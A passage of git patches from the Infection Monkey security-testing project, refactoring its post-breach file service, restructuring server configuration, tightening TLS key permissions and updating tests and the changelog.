b/monkey/monkey_island/cc/services/post_breach_files.py @@ -36,12 +36,12 @@ def remove_PBA_files(): PBA_LINUX_FILENAME_PATH ) if linux_filename: - PostBreachFilesService._remove_file(linux_filename) + PostBreachFilesService.remove_file(linux_filename) if windows_filename: - PostBreachFilesService._remove_file(windows_filename) + PostBreachFilesService.remove_file(windows_filename) @staticmethod - def _remove_file(file_name): + def remove_file(file_name): file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), file_name) try: if os.path.exists(file_path): From 4364a485612b803e5c20eda4b6bbff3b8577fc90 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 10:56:51 -0400 Subject: [PATCH 0458/1360] island: Simplify remove_PBA_files() --- .../cc/services/post_breach_files.py | 13 ++------ .../cc/services/test_post_breach_files.py | 30 +++++++++++++++++++ whitelist.py | 1 + 3 files changed, 33 insertions(+), 11 deletions(-) create mode 100644 monkey/tests/monkey_island/cc/services/test_post_breach_files.py diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index d7eeb93063f..7e2ce4e45c1 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -28,17 +28,8 @@ def initialize(cls, data_dir): @staticmethod def remove_PBA_files(): - if monkey_island.cc.services.config.ConfigService.get_config(): - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH - ) - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH - ) - if linux_filename: - PostBreachFilesService.remove_file(linux_filename) - if windows_filename: - PostBreachFilesService.remove_file(windows_filename) + for f in os.listdir(PostBreachFilesService.get_custom_pba_directory()): + PostBreachFilesService.remove_file(f) @staticmethod def remove_file(file_name): diff --git a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py new file mode 100644 index 00000000000..9eda4af553e --- /dev/null +++ b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py @@ -0,0 +1,30 @@ +import os + +import pytest + +from monkey_island.cc.services.post_breach_files import PostBreachFilesService + + +@pytest.fixture(autouse=True) +def custom_pba_directory(tmpdir): + PostBreachFilesService.initialize(tmpdir) + + +def create_custom_pba_file(filename): + assert os.path.isdir(PostBreachFilesService.get_custom_pba_directory()) + + file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), filename) + open(file_path, "a").close() + + +def test_remove_pba_files(): + create_custom_pba_file("linux_file") + create_custom_pba_file("windows_file") + + custom_pda_dir_contents = os.listdir(PostBreachFilesService.get_custom_pba_directory()) + assert len(custom_pda_dir_contents) == 2 + + PostBreachFilesService.remove_PBA_files() + + custom_pda_dir_contents = os.listdir(PostBreachFilesService.get_custom_pba_directory()) + assert len(custom_pda_dir_contents) == 0 diff --git a/whitelist.py b/whitelist.py index ad346ff0b9e..bd147220ae9 100644 --- a/whitelist.py +++ b/whitelist.py @@ -20,6 +20,7 @@ patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25) patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31) mock_home_env # unused variable (monkey/tests/monkey_island/cc/server_utils/test_island_logger.py:20) +custom_pba_directory # unused variable (monkey/tests/monkey_island/cc/services/test_post_breach_files.py:20) configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26) change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9) uses_database # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:16) From ea82e86df57a1fb61d944aab7233abf388c87b38 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 11:07:48 -0400 Subject: [PATCH 0459/1360] island: Add tests for PostBreachFilesService --- monkey/test.py | 4 +++ .../cc/services/test_post_breach_files.py | 30 +++++++++++++++++++ 2 files changed, 34 insertions(+) create mode 100644 monkey/test.py diff --git a/monkey/test.py b/monkey/test.py new file mode 100644 index 00000000000..19ef00bd888 --- /dev/null +++ b/monkey/test.py @@ -0,0 +1,4 @@ +try: + raise Exception("Ex") +except Exception as ex: + print(f"F: {ex}") diff --git a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py index 9eda4af553e..7d3431cfdd3 100644 --- a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py @@ -5,6 +5,10 @@ from monkey_island.cc.services.post_breach_files import PostBreachFilesService +def raise_(ex): + raise ex + + @pytest.fixture(autouse=True) def custom_pba_directory(tmpdir): PostBreachFilesService.initialize(tmpdir) @@ -28,3 +32,29 @@ def test_remove_pba_files(): custom_pda_dir_contents = os.listdir(PostBreachFilesService.get_custom_pba_directory()) assert len(custom_pda_dir_contents) == 0 + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_custom_pba_dir_permissions(): + st = os.stat(PostBreachFilesService.get_custom_pba_directory()) + + assert st.st_mode == 0o40700 + + +def test_remove_failure(monkeypatch): + monkeypatch.setattr(os, "remove", lambda x: raise_(OSError("Permission denied"))) + + try: + create_custom_pba_file("windows_file") + PostBreachFilesService.remove_PBA_files() + except Exception as ex: + pytest.fail(f"Unxepected exception: {ex}") + + +def test_remove_nonexistant_file(monkeypatch): + monkeypatch.setattr(os, "remove", lambda x: raise_(FileNotFoundError("FileNotFound"))) + + try: + PostBreachFilesService.remove_file("/nonexistant/file") + except Exception as ex: + pytest.fail(f"Unxepected exception: {ex}") From 947644152601fbecbb71ed603edbd2de9c8a13ea Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 11:14:39 -0400 Subject: [PATCH 0460/1360] island: Remove circular dep btw ConfigService and PostBreachFilesService --- monkey/monkey_island/cc/services/config.py | 23 +++++++++++++++---- .../cc/services/post_breach_files.py | 21 +---------------- 2 files changed, 20 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 3dbdd9039e2..c0fb3a20c0c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,9 +9,11 @@ from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA - -# TODO: Remove circular dependency between ConfigService and PostBreachFilesService. -from monkey_island.cc.services.post_breach_files import PostBreachFilesService +from monkey_island.cc.services.post_breach_files import ( + PBA_LINUX_FILENAME_PATH, + PBA_WINDOWS_FILENAME_PATH, + PostBreachFilesService, +) from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "itay.mizeretz" @@ -193,7 +195,7 @@ def update_config(config_json, should_encrypt): # PBA file upload happens on pba_file_upload endpoint and corresponding config options # are set there config_json = ConfigService._filter_none_values(config_json) - PostBreachFilesService.set_config_PBA_files(config_json) + ConfigService.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -204,6 +206,19 @@ def update_config(config_json, should_encrypt): logger.info("monkey config was updated") return True + @staticmethod + def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if ConfigService.get_config(): + linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + + config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename + config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename + @staticmethod def init_default_config(): if ConfigService.default_config is None: diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 7e2ce4e45c1..1a84075647a 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -2,16 +2,13 @@ import os from pathlib import Path -# TODO: Remove circular dependency between ConfigService and PostBreachFilesService. -import monkey_island.cc.services.config - __author__ = "VakarisZ" logger = logging.getLogger(__name__) # Where to find file names in config -PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] +PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] class PostBreachFilesService: @@ -45,19 +42,3 @@ def get_custom_pba_directory(): return os.path.join( PostBreachFilesService.DATA_DIR, PostBreachFilesService.CUSTOM_PBA_DIRNAME ) - - @staticmethod - def set_config_PBA_files(config_json): - """ - Sets PBA file info in config_json to current config's PBA file info values. - :param config_json: config_json that will be modified - """ - if monkey_island.cc.services.config.ConfigService.get_config(): - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH - ) - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH - ) - config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename - config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename From fb3e66f75e069a3e26620ef10b0c71408ee34874 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 14:28:30 -0400 Subject: [PATCH 0461/1360] island: Add "environment" section to server_config.json Put the environment config inside its own "environment" object in the server_config.json to provide a logical separation between the environment config, logger config, data directory, etc. --- .../cc/environment/environment_config.py | 9 +++-- .../cc/server_config.json.develop | 7 ++-- .../cc/environment/test_environment_config.py | 36 +++++++++++++------ .../server_config_no_credentials.json | 6 ++-- .../server_config_partial_credentials.json | 8 +++-- .../server_config_standard_env.json | 6 ++-- ...rver_config_standard_with_credentials.json | 3 ++ .../server_config_with_credentials.json | 2 ++ .../server_config_with_data_dir.json | 6 ++-- .../server_config_with_data_dir_home.json | 6 ++-- 10 files changed, 64 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 1f9602d227e..d2974e0588a 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -35,7 +35,7 @@ def _load_from_file(self, file_path): def _load_from_json(self, config_json: str) -> EnvironmentConfig: data = json.loads(config_json) - self._load_from_dict(data) + self._load_from_dict(data["environment"]) def _load_from_dict(self, dict_data: Dict): aws = dict_data["aws"] if "aws" in dict_data else None @@ -52,8 +52,13 @@ def data_dir_abs_path(self): return os.path.abspath(os.path.expanduser(os.path.expandvars(self.data_dir))) def save_to_file(self): + with open(self._server_config_path, "r") as f: + config = json.load(f) + + config["environment"] = self.to_dict() + with open(self._server_config_path, "w") as f: - f.write(json.dumps(self.to_dict(), indent=2)) + f.write(json.dumps(config, indent=2)) def to_dict(self) -> Dict: config_dict = { diff --git a/monkey/monkey_island/cc/server_config.json.develop b/monkey/monkey_island/cc/server_config.json.develop index 33fb3348740..f317c7925ec 100644 --- a/monkey/monkey_island/cc/server_config.json.develop +++ b/monkey/monkey_island/cc/server_config.json.develop @@ -1,5 +1,8 @@ { - "server_config": "password", "deployment": "develop", - "log_level": "DEBUG" + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "develop" + } } diff --git a/monkey/tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/monkey_island/cc/environment/test_environment_config.py index 6f9170f2f31..a5efe40f90f 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment_config.py @@ -54,13 +54,29 @@ def test_save_to_file(config_file, standard_with_credentials): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 6 - assert from_file["server_config"] == "standard" - assert from_file["deployment"] == "develop" - assert from_file["user"] == "test" - assert from_file["password_hash"] == "abcdef" - assert from_file["aws"] == "test_aws" - assert from_file["data_dir"] == DEFAULT_DATA_DIR + assert len(from_file.keys()) == 2 + assert len(from_file["environment"].keys()) == 6 + assert from_file["environment"]["server_config"] == "standard" + assert from_file["environment"]["deployment"] == "develop" + assert from_file["environment"]["user"] == "test" + assert from_file["environment"]["password_hash"] == "abcdef" + assert from_file["environment"]["aws"] == "test_aws" + assert from_file["environment"]["data_dir"] == DEFAULT_DATA_DIR + + +def test_save_to_file_preserve_log_level(config_file, standard_with_credentials): + shutil.copyfile(standard_with_credentials, config_file) + + environment_config = EnvironmentConfig(config_file) + environment_config.aws = "test_aws" + environment_config.save_to_file() + + with open(config_file, "r") as f: + from_file = json.load(f) + + assert len(from_file.keys()) == 2 + assert "log_level" in from_file + assert from_file["log_level"] == "NOTICE" def test_add_user(config_file, standard_with_credentials): @@ -76,9 +92,9 @@ def test_add_user(config_file, standard_with_credentials): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 5 - assert from_file["user"] == new_user - assert from_file["password_hash"] == new_password_hash + assert len(from_file["environment"].keys()) == 5 + assert from_file["environment"]["user"] == new_user + assert from_file["environment"]["password_hash"] == new_password_hash def test_get_users(standard_with_credentials): diff --git a/monkey/tests/resources/environment/server_config_no_credentials.json b/monkey/tests/resources/environment/server_config_no_credentials.json index ecc4c17085f..0b7de96ef2b 100644 --- a/monkey/tests/resources/environment/server_config_no_credentials.json +++ b/monkey/tests/resources/environment/server_config_no_credentials.json @@ -1,4 +1,6 @@ { - "server_config": "password", - "deployment": "develop" + "environment" : { + "server_config": "password", + "deployment": "develop" + } } diff --git a/monkey/tests/resources/environment/server_config_partial_credentials.json b/monkey/tests/resources/environment/server_config_partial_credentials.json index a9e283924f4..6158c4f3074 100644 --- a/monkey/tests/resources/environment/server_config_partial_credentials.json +++ b/monkey/tests/resources/environment/server_config_partial_credentials.json @@ -1,5 +1,7 @@ { - "server_config": "password", - "deployment": "develop", - "user": "test" + "environment" : { + "server_config": "password", + "deployment": "develop", + "user": "test" + } } diff --git a/monkey/tests/resources/environment/server_config_standard_env.json b/monkey/tests/resources/environment/server_config_standard_env.json index 420f1b30328..3d5e0b8a0b6 100644 --- a/monkey/tests/resources/environment/server_config_standard_env.json +++ b/monkey/tests/resources/environment/server_config_standard_env.json @@ -1,4 +1,6 @@ { - "server_config": "standard", - "deployment": "develop" + "environment" : { + "server_config": "standard", + "deployment": "develop" + } } diff --git a/monkey/tests/resources/environment/server_config_standard_with_credentials.json b/monkey/tests/resources/environment/server_config_standard_with_credentials.json index 4bff379e8c9..b8cdf5258b8 100644 --- a/monkey/tests/resources/environment/server_config_standard_with_credentials.json +++ b/monkey/tests/resources/environment/server_config_standard_with_credentials.json @@ -1,6 +1,9 @@ { + "log_level": "NOTICE", + "environment" : { "server_config": "standard", "deployment": "develop", "user": "test", "password_hash": "abcdef" + } } diff --git a/monkey/tests/resources/environment/server_config_with_credentials.json b/monkey/tests/resources/environment/server_config_with_credentials.json index 54c0fa78732..73cd6bbc3b2 100644 --- a/monkey/tests/resources/environment/server_config_with_credentials.json +++ b/monkey/tests/resources/environment/server_config_with_credentials.json @@ -1,6 +1,8 @@ { + "environment" : { "server_config": "password", "deployment": "develop", "user": "test", "password_hash": "abcdef" + } } diff --git a/monkey/tests/resources/environment/server_config_with_data_dir.json b/monkey/tests/resources/environment/server_config_with_data_dir.json index b9d6845f3ad..8a9b7d75e96 100644 --- a/monkey/tests/resources/environment/server_config_with_data_dir.json +++ b/monkey/tests/resources/environment/server_config_with_data_dir.json @@ -1,7 +1,9 @@ { + "data_dir": "/test/data/dir", + "environment" : { "server_config": "password", "deployment": "develop", "user": "test", - "password_hash": "abcdef", - "data_dir": "/test/data/dir" + "password_hash": "abcdef" + } } diff --git a/monkey/tests/resources/environment/server_config_with_data_dir_home.json b/monkey/tests/resources/environment/server_config_with_data_dir_home.json index e6e4a0a1f4a..88f44e16423 100644 --- a/monkey/tests/resources/environment/server_config_with_data_dir_home.json +++ b/monkey/tests/resources/environment/server_config_with_data_dir_home.json @@ -1,7 +1,9 @@ { + "data_dir": "~/data_dir", + "environment" : { "server_config": "password", "deployment": "develop", "user": "test", - "password_hash": "abcdef", - "data_dir": "~/data_dir" + "password_hash": "abcdef" + } } From c832738a8a109582a9eabe033a655c91252d6949 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 14:36:19 -0400 Subject: [PATCH 0462/1360] island: Remove all references to data_dir in EnvironmentConfig --- .../cc/environment/environment_config.py | 9 ------ monkey/tests/conftest.py | 10 ------ .../cc/environment/test_environment_config.py | 32 +++---------------- .../server_config_with_data_dir.json | 9 ------ .../server_config_with_data_dir_home.json | 9 ------ 5 files changed, 5 insertions(+), 64 deletions(-) delete mode 100644 monkey/tests/resources/environment/server_config_with_data_dir.json delete mode 100644 monkey/tests/resources/environment/server_config_with_data_dir_home.json diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index d2974e0588a..6f4626c9ed8 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -9,7 +9,6 @@ from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR class EnvironmentConfig: @@ -19,7 +18,6 @@ def __init__(self, file_path): self.deployment = None self.user_creds = None self.aws = None - self.data_dir = None self._load_from_file(self._server_config_path) @@ -39,17 +37,11 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: def _load_from_dict(self, dict_data: Dict): aws = dict_data["aws"] if "aws" in dict_data else None - data_dir = dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR self.server_config = dict_data["server_config"] self.deployment = dict_data["deployment"] self.user_creds = _get_user_credentials_from_config(dict_data) self.aws = aws - self.data_dir = data_dir - - @property - def data_dir_abs_path(self): - return os.path.abspath(os.path.expanduser(os.path.expandvars(self.data_dir))) def save_to_file(self): with open(self._server_config_path, "r") as f: @@ -64,7 +56,6 @@ def to_dict(self) -> Dict: config_dict = { "server_config": self.server_config, "deployment": self.deployment, - "data_dir": self.data_dir, } if self.aws: config_dict.update({"aws": self.aws}) diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 328cb109c9b..20e57f4d0ad 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -38,16 +38,6 @@ def standard_with_credentials(environment_resources_dir): return os.path.join(environment_resources_dir, "server_config_standard_with_credentials.json") -@pytest.fixture(scope="session") -def with_data_dir(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_with_data_dir.json") - - -@pytest.fixture(scope="session") -def with_data_dir_home(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_with_data_dir_home.json") - - @pytest.fixture(scope="session") def server_config_resources_dir(resources_dir): return os.path.join(resources_dir, "server_configs") diff --git a/monkey/tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/monkey_island/cc/environment/test_environment_config.py index a5efe40f90f..6968a18aa70 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment_config.py @@ -6,7 +6,6 @@ from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR @pytest.fixture @@ -17,31 +16,28 @@ def config_file(tmpdir): def test_get_with_credentials(with_credentials): config_dict = EnvironmentConfig(with_credentials).to_dict() - assert len(config_dict.keys()) == 5 + assert len(config_dict.keys()) == 4 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" assert config_dict["password_hash"] == "abcdef" - assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_get_with_no_credentials(no_credentials): config_dict = EnvironmentConfig(no_credentials).to_dict() - assert len(config_dict.keys()) == 3 + assert len(config_dict.keys()) == 2 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" - assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_get_with_partial_credentials(partial_credentials): config_dict = EnvironmentConfig(partial_credentials).to_dict() - assert len(config_dict.keys()) == 4 + assert len(config_dict.keys()) == 3 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" - assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_save_to_file(config_file, standard_with_credentials): @@ -55,13 +51,12 @@ def test_save_to_file(config_file, standard_with_credentials): from_file = json.load(f) assert len(from_file.keys()) == 2 - assert len(from_file["environment"].keys()) == 6 + assert len(from_file["environment"].keys()) == 5 assert from_file["environment"]["server_config"] == "standard" assert from_file["environment"]["deployment"] == "develop" assert from_file["environment"]["user"] == "test" assert from_file["environment"]["password_hash"] == "abcdef" assert from_file["environment"]["aws"] == "test_aws" - assert from_file["environment"]["data_dir"] == DEFAULT_DATA_DIR def test_save_to_file_preserve_log_level(config_file, standard_with_credentials): @@ -92,7 +87,7 @@ def test_add_user(config_file, standard_with_credentials): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file["environment"].keys()) == 5 + assert len(from_file["environment"].keys()) == 4 assert from_file["environment"]["user"] == new_user assert from_file["environment"]["password_hash"] == new_password_hash @@ -117,20 +112,3 @@ def test_generate_default_file(config_file): assert environment_config.user_creds.username == "" assert environment_config.user_creds.password_hash == "" assert environment_config.aws is None - assert environment_config.data_dir == DEFAULT_DATA_DIR - - -def test_data_dir(with_data_dir): - environment_config = EnvironmentConfig(with_data_dir) - assert environment_config.data_dir == "/test/data/dir" - - -def set_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - -def test_data_dir_abs_path_from_file(monkeypatch, tmpdir, with_data_dir_home): - set_home_env(monkeypatch, tmpdir) - - config = EnvironmentConfig(with_data_dir_home) - assert config.data_dir_abs_path == os.path.join(tmpdir, "data_dir") diff --git a/monkey/tests/resources/environment/server_config_with_data_dir.json b/monkey/tests/resources/environment/server_config_with_data_dir.json deleted file mode 100644 index 8a9b7d75e96..00000000000 --- a/monkey/tests/resources/environment/server_config_with_data_dir.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "data_dir": "/test/data/dir", - "environment" : { - "server_config": "password", - "deployment": "develop", - "user": "test", - "password_hash": "abcdef" - } -} diff --git a/monkey/tests/resources/environment/server_config_with_data_dir_home.json b/monkey/tests/resources/environment/server_config_with_data_dir_home.json deleted file mode 100644 index 88f44e16423..00000000000 --- a/monkey/tests/resources/environment/server_config_with_data_dir_home.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "data_dir": "~/data_dir", - "environment" : { - "server_config": "password", - "deployment": "develop", - "user": "test", - "password_hash": "abcdef" - } -} From b4dfba294b5697c57559b7ef3b2a6ee1c45dc1eb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 14:56:50 -0400 Subject: [PATCH 0463/1360] island: Pass data_dir to main() --- monkey/monkey_island.py | 2 +- monkey/monkey_island/cc/main.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 5363ac5de20..650cfe95d81 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -32,4 +32,4 @@ from monkey_island.cc.main import main # noqa: E402 - main(island_args.setup_only, island_args.server_config) + main(config["data_dir"], island_args.setup_only, island_args.server_config) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5b3bfd7944e..4d0516d6bc4 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -34,10 +34,13 @@ MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): +def main( + data_dir, + should_setup_only=False, + server_config_filename=DEFAULT_SERVER_CONFIG_PATH, +): logger.info("Starting bootloader server") - data_dir = env_singleton.env.get_config().data_dir_abs_path env_singleton.initialize_from_file(server_config_filename) initialize_encryptor(data_dir) initialize_services(data_dir) From ff510e3e4cf1bb5947349144a960bd766181b62e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 15:00:10 -0400 Subject: [PATCH 0464/1360] Add changelog entry for "environment" section --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3d84a46219b..e9b8bfcdbe2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,6 +29,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Authentication mechanism to use bcrypt on server side. #1139 - Removed relevant dead code as reported by Vulture. #1149 - Removed island logger config and added "log_level" to server config. #1151 +- `server_config.json` puts environment config options in a separate section + named "environment". #1161 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From 2af2fd4a55fbcd0f8a8682863ad0542f451a0055 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 15:03:18 -0400 Subject: [PATCH 0465/1360] Minor changelog maintenance --- CHANGELOG.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3d84a46219b..25cff25cedc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - A runtime-configurable option to specify a data directory where runtime configuration and other artifacts can be stored. #994 - Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136 +- `log_level` option to server config. #1151 ### Changed - server_config.json can be selected at runtime. #963 @@ -22,13 +23,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Use pipenv for python dependency management. #1091 - Moved unit tests to a dedicated `tests/` directory to improve pytest collection time. #1102 -- Changed default BB test suite: if `--run-performance-tests` flag is not specified, - performance tests are skipped. +- Default BB test suite behavior: if `--run-performance-tests` flag is not + specified, performance tests are skipped. - Zerologon exploiter writes runtime artifacts to a secure temporary directory instead of $HOME. #1143 - Authentication mechanism to use bcrypt on server side. #1139 -- Removed relevant dead code as reported by Vulture. #1149 -- Removed island logger config and added "log_level" to server config. #1151 + +### Removed +- Relevant dead code as reported by Vulture. #1149 +- Island logger config and --logger-config CLI option. #1151 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From 2d422f157ef12ec9f32b4fd640002b23390dfdb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 19:22:43 -0400 Subject: [PATCH 0466/1360] island: Add `umask 377` to create_certificate.sh By setting the umask to 377 in create_certificate.sh, we ensure that the TLS key file that is created is readable only by the user that created it, and not world readable (as is the default on some linux distros). --- monkey/monkey_island/linux/create_certificate.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 985f607bc94..ca7d397e050 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -17,6 +17,8 @@ if [ ! -f /tmp/foo.txt ]; then # If the file already exists, assume that the co CREATED_RND_FILE=true fi +umask 377 + echo "Generating key in $server_root/server.key..." openssl genrsa -out "$server_root"/server.key 2048 echo "Generating csr in $server_root/server.csr..." From c45de9dae7840282a23670135edd6d3a1872f29e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 12 May 2021 10:41:52 +0300 Subject: [PATCH 0467/1360] Improved readability of gcp_machine_handlers.py --- envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 95c9d1855f6..89018bde1d8 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -6,13 +6,12 @@ class GCPHandler(object): - # gcloud commands AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" SET_PROPERTY_PROJECT = "gcloud config set project %s" MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" - # Default configuration parameters + # Key path location relative to this file DEFAULT_RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" DEFAULT_ZONE = "europe-west3-a" DEFAULT_PROJECT = "guardicore-22050661" @@ -25,10 +24,10 @@ def __init__( ): self.zone = zone abs_key_path = GCPHandler.get_absolute_key_path(relative_key_path) - # pass the key file to gcp + subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 LOGGER.info("GCP Handler passed key") - # set project + subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 LOGGER.info("GCP Handler set project") LOGGER.info("GCP Handler initialized successfully") @@ -37,11 +36,12 @@ def __init__( def get_absolute_key_path(relative_key_path: str) -> str: file_dir = os.path.dirname(os.path.realpath(__file__)) absolute_key_path = os.path.join(file_dir, relative_key_path) + if not os.path.isfile(absolute_key_path): raise FileNotFoundError( "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" ) - return os.path.join(file_dir, relative_key_path) + return os.path.normpath(absolute_key_path) def start_machines(self, machine_list): """ From 53c9ec73480692628bc0ab38c33fae8b62322b74 Mon Sep 17 00:00:00 2001 From: Shreya Date: 